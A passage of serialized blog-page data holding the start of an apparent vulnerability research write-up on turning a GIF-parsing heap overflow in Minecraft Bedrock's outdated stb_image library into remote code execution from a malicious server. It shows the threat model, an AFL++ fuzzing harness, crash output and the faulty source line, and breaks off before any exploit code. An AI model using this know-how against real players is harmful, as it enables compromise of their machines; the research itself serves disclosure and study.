primitives.","2026-06-02T12:00:00.000Z",{"src":146693,"width":14,"height":15},"/posts/minecraft-heap-overflow-to-rce/title.png",[146695,146696],"minecraft","rce",{"type":21,"children":146698,"toc":156054},[146699,146704,146709,146714,146720,146725,146744,146749,146755,146760,146765,146771,146776,146781,146786,146792,146797,146802,146808,146828,146840,146847,146869,146883,146890,146896,146906,146926,146931,146937,146950,147295,147300,147308,147314,147333,147641,147669,147712,147724,147732,147737,148206,148225,148246,148588,148612,148884,148908,148935,149144,149163,149171,149190,149196,149258,149261,149283,149287,149292,149297,149303,149308,149322,149328,149342,149348,149361,149366,149374,149379,149385,149406,149414,149427,149430,149435,149449,149454,149459,149465,149470,149493,149498,149504,149509,149521,149533,149647,149667,149672,149677,149683,149688,149708,150323,150336,151410,151415,151423,151428,151434,151439,151447,151460,151465,151470,151477,151490,151495,151502,151557,151577,151584,151603,151610,151613,151618,151623,151629,151641,151654,151662,151733,151744,151778,151786,151791,151796,151802,151814,151833,151845,151850,151858,151877,151885,151904,151912,151938,151946,151951,151959,151964,151972,151975,151980,151985,151991,152004,152022,152060,152090,152098,152103,152109,152114,152119,152125,152137,152306,152318,152326,152331,152338,152343,152404,152451,152463,152468,152494,152568,152606,152611,152619,152640,152645,152671,152705,152758,152805,152811,152830,152862,152870,152973,153044,153050,153076,153083,153088,153095,153100,153341,153367,153372,153420,153425,153431,153463,153475,153507,153515,153554,153562,153567,153575,153580,153588,153600,153608,153620,153628,153640,153660,153666,153686,153703,153711,153723,153731,153750,153755,153763,153768,153776,153802,153813,153820,153825,153833,153838,153846,153851,153859,153864,153872,153877,153885,153890,153898,153939,153946,153951,153959,153964,153972,153977,153985,153990,153995,154003,154008,154016,154042,154050,154076,154084,154089,154097,154102,154110,154118,154123,154131,154136,154144,154147,154158,154192,154210,154218,154238,154244,154263,154321,154341,154349,154352,154391,154451,154456,154462,154475,154483,154535,154574,154582,154615,154618,154638,154646,154652,154657,154665,154705,154746,154766,154771,154776,154794,154800,154805,154824,154885,154893,154919,154925,154945,154950,154955,154962,155027,155032,155039,155060,155065,155077,155083,155116,155123,155128,155156,155163,155219,155231,155238,155299,155318,155324,155358,155379,155406,155414,155467,155537,155543,155563,155606,155611,156009,156015,156020,156031,156035,156040,156045,156050],{"type":24,"tag":35107,"props":146700,"children":146702},{"id":146701},"pwning-minecraft-4-byte-heap-overflow-to-rce",[146703],{"type":29,"value":146689},{"type":24,"tag":25,"props":146705,"children":146706},{},[146707],{"type":29,"value":146708},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":146710,"children":146711},{},[146712],{"type":29,"value":146713},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":51,"props":146715,"children":146717},{"id":146716},"the-target",[146718],{"type":29,"value":146719},"The Target",{"type":24,"tag":25,"props":146721,"children":146722},{},[146723],{"type":29,"value":146724},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":146726,"children":146727},{},[146728,146730,146735,146737,146742],{"type":29,"value":146729},"There are two main editions: ",{"type":24,"tag":2040,"props":146731,"children":146732},{},[146733],{"type":29,"value":146734},"Minecraft Java Edition",{"type":29,"value":146736},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":2040,"props":146738,"children":146739},{},[146740],{"type":29,"value":146741},"Minecraft Bedrock Edition",{"type":29,"value":146743},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":146745,"children":146746},{},[146747],{"type":29,"value":146748},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":1818,"props":146750,"children":146752},{"id":146751},"choice-of-context",[146753],{"type":29,"value":146754},"Choice of Context",{"type":24,"tag":25,"props":146756,"children":146757},{},[146758],{"type":29,"value":146759},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":146761,"children":146762},{},[146763],{"type":29,"value":146764},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":1818,"props":146766,"children":146768},{"id":146767},"resource-packs",[146769],{"type":29,"value":146770},"Resource Packs",{"type":24,"tag":25,"props":146772,"children":146773},{},[146774],{"type":29,"value":146775},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":146777,"children":146778},{},[146779],{"type":29,"value":146780},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":146782,"children":146783},{},[146784],{"type":29,"value":146785},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":51,"props":146787,"children":146789},{"id":146788},"finding-a-memory-corruption-bug",[146790],{"type":29,"value":146791},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":146793,"children":146794},{},[146795],{"type":29,"value":146796},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":146798,"children":146799},{},[146800],{"type":29,"value":146801},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":1818,"props":146803,"children":146805},{"id":146804},"locating-image-parsing-code",[146806],{"type":29,"value":146807},"Locating Image Parsing Code",{"type":24,"tag":25,"props":146809,"children":146810},{},[146811,146813,146819,146820,146826],{"type":29,"value":146812},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":32,"props":146814,"children":146816},{"className":146815},[],[146817],{"type":29,"value":146818},"PNG",{"type":29,"value":12879},{"type":24,"tag":32,"props":146821,"children":146823},{"className":146822},[],[146824],{"type":29,"value":146825},"GIF",{"type":29,"value":146827}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":146829,"children":146830},{},[146831,146833,146838],{"type":29,"value":146832},"Searching for the string ",{"type":24,"tag":32,"props":146834,"children":146836},{"className":146835},[],[146837],{"type":29,"value":146825},{"type":29,"value":146839}," returned some interesting results:",{"type":24,"tag":25,"props":146841,"children":146842},{},[146843],{"type":24,"tag":2510,"props":146844,"children":146846},{"alt":2512,"src":146845},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":146848,"children":146849},{},[146850,146852,146859,146861,146868],{"type":29,"value":146851},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":2033,"props":146853,"children":146856},{"href":146854,"rel":146855},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[2037],[146857],{"type":29,"value":146858},"stb_image.h",{"type":29,"value":146860},". For an example: usage of ",{"type":24,"tag":2033,"props":146862,"children":146865},{"href":146863,"rel":146864},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[2037],[146866],{"type":29,"value":146867},"bad Image Descriptor",{"type":29,"value":161},{"type":24,"tag":25,"props":146870,"children":146871},{},[146872,146874,146881],{"type":29,"value":146873},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":2033,"props":146875,"children":146878},{"href":146876,"rel":146877},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[2037],[146879],{"type":29,"value":146880},"stbi__gif_load_next",{"type":29,"value":146882},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":146884,"children":146885},{},[146886],{"type":24,"tag":2510,"props":146887,"children":146889},{"alt":2512,"src":146888},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":1818,"props":146891,"children":146893},{"id":146892},"stb-image-library",[146894],{"type":29,"value":146895},"STB Image Library",{"type":24,"tag":25,"props":146897,"children":146898},{},[146899,146904],{"type":24,"tag":32,"props":146900,"children":146902},{"className":146901},[],[146903],{"type":29,"value":146858},{"type":29,"value":146905}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":146907,"children":146908},{},[146909,146911,146916,146918,146925],{"type":29,"value":146910},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":32,"props":146912,"children":146914},{"className":146913},[],[146915],{"type":29,"value":146858},{"type":29,"value":146917}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":2033,"props":146919,"children":146922},{"href":146920,"rel":146921},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[2037],[146923],{"type":29,"value":146924},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":161},{"type":24,"tag":25,"props":146927,"children":146928},{},[146929],{"type":29,"value":146930},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":18631,"props":146932,"children":146934},{"id":146933},"fuzzing",[146935],{"type":29,"value":146936},"Fuzzing",{"type":24,"tag":25,"props":146938,"children":146939},{},[146940,146942,146949],{"type":29,"value":146941},"The fuzzer consisted of a very simple ",{"type":24,"tag":2033,"props":146943,"children":146946},{"href":146944,"rel":146945},"https://github.com/AFLplusplus/AFLplusplus",[2037],[146947],{"type":29,"value":146948},"AFL++",{"type":29,"value":26490},{"type":24,"tag":73,"props":146951,"children":146953},{"code":146952,"language":2891,"meta":7,"className":16250,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[146954],{"type":24,"tag":32,"props":146955,"children":146956},{"__ignoreMap":7},[146957,146970,146982,146989,147035,147047,147068,147075,147099,147114,147121,147128,147200,147224,147239,147246,147253,147266,147273,147288],{"type":24,"tag":83,"props":146958,"children":146959},{"class":85,"line":86},[146960,146965],{"type":24,"tag":83,"props":146961,"children":146962},{"style":117},[146963],{"type":29,"value":146964},"#define",{"type":24,"tag":83,"props":146966,"children":146967},{"style":101},[146968],{"type":29,"value":146969}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":83,"props":146971,"children":146972},{"class":85,"line":113},[146973,146977],{"type":24,"tag":83,"props":146974,"children":146975},{"style":117},[146976],{"type":29,"value":90128},{"type":24,"tag":83,"props":146978,"children":146979},{"style":187},[146980],{"type":29,"value":146981}," \"./stb/stb_image.h\"\n",{"type":24,"tag":83,"props":146983,"children":146984},{"class":85,"line":128},[146985],{"type":24,"tag":83,"props":146986,"children":146987},{"emptyLinePlaceholder":16},[146988],{"type":29,"value":3422},{"type":24,"tag":83,"props":146990,"children":146991},{"class":85,"line":183},[146992,146996,147000,147004,147008,147013,147017,147022,147026,147031],{"type":24,"tag":83,"props":146993,"children":146994},{"style":90},[146995],{"type":29,"value":18786},{"type":24,"tag":83,"props":146997,"children":146998},{"style":101},[146999],{"type":29,"value":90493},{"type":24,"tag":83,"props":147001,"children":147002},{"style":107},[147003],{"type":29,"value":558},{"type":24,"tag":83,"props":147005,"children":147006},{"style":90},[147007],{"type":29,"value":18786},{"type":24,"tag":83,"props":147009,"children":147010},{"style":137},[147011],{"type":29,"value":147012}," argc",{"type":24,"tag":83,"props":147014,"children":147015},{"style":107},[147016],{"type":29,"value":568},{"type":24,"tag":83,"props":147018,"children":147019},{"style":90},[147020],{"type":29,"value":147021},"char",{"type":24,"tag":83,"props":147023,"children":147024},{"style":143},[147025],{"type":29,"value":89594},{"type":24,"tag":83,"props":147027,"children":147028},{"style":137},[147029],{"type":29,"value":147030},"argv",{"type":24,"tag":83,"props":147032,"children":147033},{"style":107},[147034],{"type":29,"value":253},{"type":24,"tag":83,"props":147036,"children":147037},{"class":85,"line":203},[147038,147042],{"type":24,"tag":83,"props":147039,"children":147040},{"style":90},[147041],{"type":29,"value":18816},{"type":24,"tag":83,"props":147043,"children":147044},{"style":107},[147045],{"type":29,"value":147046}," x, y, comp;\n",{"type":24,"tag":83,"props":147048,"children":147049},{"class":85,"line":212},[147050,147055,147059,147063],{"type":24,"tag":83,"props":147051,"children":147052},{"style":90},[147053],{"type":29,"value":147054},"    unsigned",{"type":24,"tag":83,"props":147056,"children":147057},{"style":90},[147058],{"type":29,"value":58763},{"type":24,"tag":83,"props":147060,"children":147061},{"style":143},[147062],{"type":29,"value":9563},{"type":24,"tag":83,"props":147064,"children":147065},{"style":107},[147066],{"type":29,"value":147067},"ret;\n",{"type":24,"tag":83,"props":147069,"children":147070},{"class":85,"line":256},[147071],{"type":24,"tag":83,"props":147072,"children":147073},{"emptyLinePlaceholder":16},[147074],{"type":29,"value":3422},{"type":24,"tag":83,"props":147076,"children":147077},{"class":85,"line":270},[147078,147082,147087,147091,147095],{"type":24,"tag":83,"props":147079,"children":147080},{"style":117},[147081],{"type":29,"value":218},{"type":24,"tag":83,"props":147083,"children":147084},{"style":107},[147085],{"type":29,"value":147086}," (argc ",{"type":24,"tag":83,"props":147088,"children":147089},{"style":143},[147090],{"type":29,"value":15427},{"type":24,"tag":83,"props":147092,"children":147093},{"style":245},[147094],{"type":29,"value":7681},{"type":24,"tag":83,"props":147096,"children":147097},{"style":107},[147098],{"type":29,"value":253},{"type":24,"tag":83,"props":147100,"children":147101},{"class":85,"line":302},[147102,147106,147110],{"type":24,"tag":83,"props":147103,"children":147104},{"style":117},[147105],{"type":29,"value":15482},{"type":24,"tag":83,"props":147107,"children":147108},{"style":245},[147109],{"type":29,"value":295},{"type":24,"tag":83,"props":147111,"children":147112},{"style":107},[147113],{"type":29,"value":321},{"type":24,"tag":83,"props":147115,"children":147116},{"class":85,"line":324},[147117],{"type":24,"tag":83,"props":147118,"children":147119},{"style":107},[147120],{"type":29,"value":446},{"type":24,"tag":83,"props":147122,"children":147123},{"class":85,"line":345},[147124],{"type":24,"tag":83,"props":147125,"children":147126},{"emptyLinePlaceholder":16},[147127],{"type":29,"value":3422},{"type":24,"tag":83,"props":147129,"children":147130},{"class":85,"line":358},[147131,147136,147140,147145,147149,147153,147157,147161,147165,147169,147174,147178,147183,147187,147192,147196],{"type":24,"tag":83,"props":147132,"children":147133},{"style":107},[147134],{"type":29,"value":147135},"    ret ",{"type":24,"tag":83,"props":147137,"children":147138},{"style":143},[147139],{"type":29,"value":1275},{"type":24,"tag":83,"props":147141,"children":147142},{"style":101},[147143],{"type":29,"value":147144}," stbi_load",{"type":24,"tag":83,"props":147146,"children":147147},{"style":107},[147148],{"type":29,"value":558},{"type":24,"tag":83,"props":147150,"children":147151},{"style":137},[147152],{"type":29,"value":147030},{"type":24,"tag":83,"props":147154,"children":147155},{"style":107},[147156],{"type":29,"value":1161},{"type":24,"tag":83,"props":147158,"children":147159},{"style":245},[147160],{"type":29,"value":3756},{"type":24,"tag":83,"props":147162,"children":147163},{"style":107},[147164],{"type":29,"value":1232},{"type":24,"tag":83,"props":147166,"children":147167},{"style":143},[147168],{"type":29,"value":2853},{"type":24,"tag":83,"props":147170,"children":147171},{"style":107},[147172],{"type":29,"value":147173},"x, ",{"type":24,"tag":83,"props":147175,"children":147176},{"style":143},[147177],{"type":29,"value":2853},{"type":24,"tag":83,"props":147179,"children":147180},{"style":107},[147181],{"type":29,"value":147182},"y, ",{"type":24,"tag":83,"props":147184,"children":147185},{"style":143},[147186],{"type":29,"value":2853},{"type":24,"tag":83,"props":147188,"children":147189},{"style":107},[147190],{"type":29,"value":147191},"comp, ",{"type":24,"tag":83,"props":147193,"children":147194},{"style":245},[147195],{"type":29,"value":1166},{"type":24,"tag":83,"props":147197,"children":147198},{"style":107},[147199],{"type":29,"value":581},{"type":24,"tag":83,"props":147201,"children":147202},{"class":85,"line":367},[147203,147207,147212,147216,147220],{"type":24,"tag":83,"props":147204,"children":147205},{"style":117},[147206],{"type":29,"value":218},{"type":24,"tag":83,"props":147208,"children":147209},{"style":107},[147210],{"type":29,"value":147211}," (ret ",{"type":24,"tag":83,"props":147213,"children":147214},{"style":143},[147215],{"type":29,"value":8320},{"type":24,"tag":83,"props":147217,"children":147218},{"style":90},[147219],{"type":29,"value":127303},{"type":24,"tag":83,"props":147221,"children":147222},{"style":107},[147223],{"type":29,"value":253},{"type":24,"tag":83,"props":147225,"children":147226},{"class":85,"line":406},[147227,147231,147235],{"type":24,"tag":83,"props":147228,"children":147229},{"style":117},[147230],{"type":29,"value":15482},{"type":24,"tag":83,"props":147232,"children":147233},{"style":245},[147234],{"type":29,"value":295},{"type":24,"tag":83,"props":147236,"children":147237},{"style":107},[147238],{"type":29,"value":321},{"type":24,"tag":83,"props":147240,"children":147241},{"class":85,"line":427},[147242],{"type":24,"tag":83,"props":147243,"children":147244},{"style":107},[147245],{"type":29,"value":446},{"type":24,"tag":83,"props":147247,"children":147248},{"class":85,"line":440},[147249],{"type":24,"tag":83,"props":147250,"children":147251},{"style":107},[147252],{"type":29,"value":61501},{"type":24,"tag":83,"props":147254,"children":147255},{"class":85,"line":449},[147256,147261],{"type":24,"tag":83,"props":147257,"children":147258},{"style":101},[147259],{"type":29,"value":147260},"    stbi_image_free",{"type":24,"tag":83,"props":147262,"children":147263},{"style":107},[147264],{"type":29,"value":147265},"(ret);\n",{"type":24,"tag":83,"props":147267,"children":147268},{"class":85,"line":458},[147269],{"type":24,"tag":83,"props":147270,"children":147271},{"emptyLinePlaceholder":16},[147272],{"type":29,"value":3422},{"type":24,"tag":83,"props":147274,"children":147275},{"class":85,"line":1065},[147276,147280,147284],{"type":24,"tag":83,"props":147277,"children":147278},{"style":117},[147279],{"type":29,"value":16725},{"type":24,"tag":83,"props":147281,"children":147282},{"style":245},[147283],{"type":29,"value":248},{"type":24,"tag":83,"props":147285,"children":147286},{"style":107},[147287],{"type":29,"value":321},{"type":24,"tag":83,"props":147289,"children":147290},{"class":85,"line":1668},[147291],{"type":24,"tag":83,"props":147292,"children":147293},{"style":107},[147294],{"type":29,"value":464},{"type":24,"tag":25,"props":147296,"children":147297},{},[147298],{"type":29,"value":147299},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":73,"props":147301,"children":147303},{"code":147302},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[147304],{"type":24,"tag":32,"props":147305,"children":147306},{"__ignoreMap":7},[147307],{"type":29,"value":147302},{"type":24,"tag":18631,"props":147309,"children":147311},{"id":147310},"investigating-the-finding",[147312],{"type":29,"value":147313},"Investigating the Finding",{"type":24,"tag":25,"props":147315,"children":147316},{},[147317,147319,147325,147326,147331],{"type":29,"value":147318},"The ASAN output shows that at line ",{"type":24,"tag":32,"props":147320,"children":147322},{"className":147321},[],[147323],{"type":29,"value":147324},"6233",{"type":29,"value":142825},{"type":24,"tag":32,"props":147327,"children":147329},{"className":147328},[],[147330],{"type":29,"value":146858},{"type":29,"value":147332}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":73,"props":147334,"children":147336},{"code":147335,"language":2891,"meta":7,"className":16250,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[147337],{"type":24,"tag":32,"props":147338,"children":147339},{"__ignoreMap":7},[147340,147382,147389,147415,147428,147435,147443,147450,147504,147511,147557,147590],{"type":24,"tag":83,"props":147341,"children":147342},{"class":85,"line":86},[147343,147347,147351,147356,147361,147365,147369,147374,147378],{"type":24,"tag":83,"props":147344,"children":147345},{"style":90},[147346],{"type":29,"value":50759},{"type":24,"tag":83,"props":147348,"children":147349},{"style":90},[147350],{"type":29,"value":50764},{"type":24,"tag":83,"props":147352,"children":147353},{"style":101},[147354],{"type":29,"value":147355}," stbi__out_gif_code",{"type":24,"tag":83,"props":147357,"children":147358},{"style":107},[147359],{"type":29,"value":147360},"(stbi__gif ",{"type":24,"tag":83,"props":147362,"children":147363},{"style":143},[147364],{"type":29,"value":4315},{"type":24,"tag":83,"props":147366,"children":147367},{"style":137},[147368],{"type":29,"value":108831},{"type":24,"tag":83,"props":147370,"children":147371},{"style":107},[147372],{"type":29,"value":147373},", stbi__uint16 ",{"type":24,"tag":83,"props":147375,"children":147376},{"style":137},[147377],{"type":29,"value":32},{"type":24,"tag":83,"props":147379,"children":147380},{"style":107},[147381],{"type":29,"value":2905},{"type":24,"tag":83,"props":147383,"children":147384},{"class":85,"line":113},[147385],{"type":24,"tag":83,"props":147386,"children":147387},{"style":107},[147388],{"type":29,"value":10628},{"type":24,"tag":83,"props":147390,"children":147391},{"class":85,"line":128},[147392,147397,147401,147406,147410],{"type":24,"tag":83,"props":147393,"children":147394},{"style":107},[147395],{"type":29,"value":147396},"   stbi_uc ",{"type":24,"tag":83,"props":147398,"children":147399},{"style":143},[147400],{"type":29,"value":4315},{"type":24,"tag":83,"props":147402,"children":147403},{"style":107},[147404],{"type":29,"value":147405},"p, ",{"type":24,"tag":83,"props":147407,"children":147408},{"style":143},[147409],{"type":29,"value":4315},{"type":24,"tag":83,"props":147411,"children":147412},{"style":107},[147413],{"type":29,"value":147414},"c;\n",{"type":24,"tag":83,"props":147416,"children":147417},{"class":85,"line":183},[147418,147423],{"type":24,"tag":83,"props":147419,"children":147420},{"style":90},[147421],{"type":29,"value":147422},"   int",{"type":24,"tag":83,"props":147424,"children":147425},{"style":107},[147426],{"type":29,"value":147427}," idx; \n",{"type":24,"tag":83,"props":147429,"children":147430},{"class":85,"line":203},[147431],{"type":24,"tag":83,"props":147432,"children":147433},{"emptyLinePlaceholder":16},[147434],{"type":29,"value":3422},{"type":24,"tag":83,"props":147436,"children":147437},{"class":85,"line":212},[147438],{"type":24,"tag":83,"props":147439,"children":147440},{"style":107},[147441],{"type":29,"value":147442},"   [...]\n",{"type":24,"tag":83,"props":147444,"children":147445},{"class":85,"line":256},[147446],{"type":24,"tag":83,"props":147447,"children":147448},{"emptyLinePlaceholder":16},[147449],{"type":29,"value":3422},{"type":24,"tag":83,"props":147451,"children":147452},{"class":85,"line":270},[147453,147457,147461,147465,147469,147474,147478,147483,147487,147492,147496,147500],{"type":24,"tag":83,"props":147454,"children":147455},{"style":117},[147456],{"type":29,"value":52358},{"type":24,"tag":83,"props":147458,"children":147459},{"style":107},[147460],{"type":29,"value":223},{"type":24,"tag":83,"props":147462,"children":147463},{"style":137},[147464],{"type":29,"value":108831},{"type":24,"tag":83,"props":147466,"children":147467},{"style":107},[147468],{"type":29,"value":13502},{"type":24,"tag":83,"props":147470,"children":147471},{"style":137},[147472],{"type":29,"value":147473},"cur_y",{"type":24,"tag":83,"props":147475,"children":147476},{"style":143},[147477],{"type":29,"value":8047},{"type":24,"tag":83,"props":147479,"children":147480},{"style":137},[147481],{"type":29,"value":147482}," g",{"type":24,"tag":83,"props":147484,"children":147485},{"style":107},[147486],{"type":29,"value":13502},{"type":24,"tag":83,"props":147488,"children":147489},{"style":137},[147490],{"type":29,"value":147491},"max_y",{"type":24,"tag":83,"props":147493,"children":147494},{"style":107},[147495],{"type":29,"value":633},{"type":24,"tag":83,"props":147497,"children":147498},{"style":117},[147499],{"type":29,"value":48175},{"type":24,"tag":83,"props":147501,"children":147502},{"style":107},[147503],{"type":29,"value":321},{"type":24,"tag":83,"props":147505,"children":147506},{"class":85,"line":302},[147507],{"type":24,"tag":83,"props":147508,"children":147509},{"emptyLinePlaceholder":16},[147510],{"type":29,"value":3422},{"type":24,"tag":83,"props":147512,"children":147513},{"class":85,"line":324},[147514,147519,147523,147527,147531,147536,147540,147544,147548,147552],{"type":24,"tag":83,"props":147515,"children":147516},{"style":107},[147517],{"type":29,"value":147518},"   idx ",{"type":24,"tag":83,"props":147520,"children":147521},{"style":143},[147522],{"type":29,"value":1275},{"type":24,"tag":83,"props":147524,"children":147525},{"style":137},[147526],{"type":29,"value":147482},{"type":24,"tag":83,"props":147528,"children":147529},{"style":107},[147530],{"type":29,"value":13502},{"type":24,"tag":83,"props":147532,"children":147533},{"style":137},[147534],{"type":29,"value":147535},"cur_x",{"type":24,"tag":83,"props":147537,"children":147538},{"style":143},[147539],{"type":29,"value":8649},{"type":24,"tag":83,"props":147541,"children":147542},{"style":137},[147543],{"type":29,"value":147482},{"type":24,"tag":83,"props":147545,"children":147546},{"style":107},[147547],{"type":29,"value":13502},{"type":24,"tag":83,"props":147549,"children":147550},{"style":137},[147551],{"type":29,"value":147473},{"type":24,"tag":83,"props":147553,"children":147554},{"style":107},[147555],{"type":29,"value":147556},"; \n",{"type":24,"tag":83,"props":147558,"children":147559},{"class":85,"line":345},[147560,147565,147569,147573,147577,147581,147585],{"type":24,"tag":83,"props":147561,"children":147562},{"style":107},[147563],{"type":29,"value":147564},"   p ",{"type":24,"tag":83,"props":147566,"children":147567},{"style":143},[147568],{"type":29,"value":1275},{"type":24,"tag":83,"props":147570,"children":147571},{"style":143},[147572],{"type":29,"value":6888},{"type":24,"tag":83,"props":147574,"children":147575},{"style":137},[147576],{"type":29,"value":108831},{"type":24,"tag":83,"props":147578,"children":147579},{"style":107},[147580],{"type":29,"value":13502},{"type":24,"tag":83,"props":147582,"children":147583},{"style":137},[147584],{"type":29,"value":118254},{"type":24,"tag":83,"props":147586,"children":147587},{"style":107},[147588],{"type":29,"value":147589},"[idx];\n",{"type":24,"tag":83,"props":147591,"children":147592},{"class":85,"line":358},[147593,147598,147602,147607,147612,147616,147620,147624,147628,147632,147636],{"type":24,"tag":83,"props":147594,"children":147595},{"style":137},[147596],{"type":29,"value":147597},"   g",{"type":24,"tag":83,"props":147599,"children":147600},{"style":107},[147601],{"type":29,"value":13502},{"type":24,"tag":83,"props":147603,"children":147604},{"style":137},[147605],{"type":29,"value":147606},"history",{"type":24,"tag":83,"props":147608,"children":147609},{"style":107},[147610],{"type":29,"value":147611},"[idx ",{"type":24,"tag":83,"props":147613,"children":147614},{"style":143},[147615],{"type":29,"value":4325},{"type":24,"tag":83,"props":147617,"children":147618},{"style":245},[147619],{"type":29,"value":11493},{"type":24,"tag":83,"props":147621,"children":147622},{"style":107},[147623],{"type":29,"value":1270},{"type":24,"tag":83,"props":147625,"children":147626},{"style":143},[147627],{"type":29,"value":1275},{"type":24,"tag":83,"props":147629,"children":147630},{"style":245},[147631],{"type":29,"value":295},{"type":24,"tag":83,"props":147633,"children":147634},{"style":107},[147635],{"type":29,"value":48790},{"type":24,"tag":83,"props":147637,"children":147638},{"style":2735},[147639],{"type":29,"value":147640},"          // OOB write\n",{"type":24,"tag":25,"props":147642,"children":147643},{},[147644,147646,147651,147653,147659,147661,147667],{"type":29,"value":147645},"It’s reasonable to assume ",{"type":24,"tag":32,"props":147647,"children":147649},{"className":147648},[],[147650],{"type":29,"value":76232},{"type":29,"value":147652}," is outside the bounds of ",{"type":24,"tag":32,"props":147654,"children":147656},{"className":147655},[],[147657],{"type":29,"value":147658},"g->history",{"type":29,"value":147660},", which leads to a one-byte OOB write (",{"type":24,"tag":32,"props":147662,"children":147664},{"className":147663},[],[147665],{"type":29,"value":147666},"g->history[idx / 4] = 1",{"type":29,"value":147668},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":147670,"children":147671},{},[147672,147674,147679,147681,147687,147689,147694,147696,147702,147704,147710],{"type":29,"value":147673},"Because ",{"type":24,"tag":32,"props":147675,"children":147677},{"className":147676},[],[147678],{"type":29,"value":25},{"type":29,"value":147680}," is computed from ",{"type":24,"tag":32,"props":147682,"children":147684},{"className":147683},[],[147685],{"type":29,"value":147686},"g->out[idx]",{"type":29,"value":147688}," immediately before the violation, we considered whether ",{"type":24,"tag":32,"props":147690,"children":147692},{"className":147691},[],[147693],{"type":29,"value":76232},{"type":29,"value":147695}," could also be OOB for ",{"type":24,"tag":32,"props":147697,"children":147699},{"className":147698},[],[147700],{"type":29,"value":147701},"g->out",{"type":29,"value":147703},". Note that computing the address 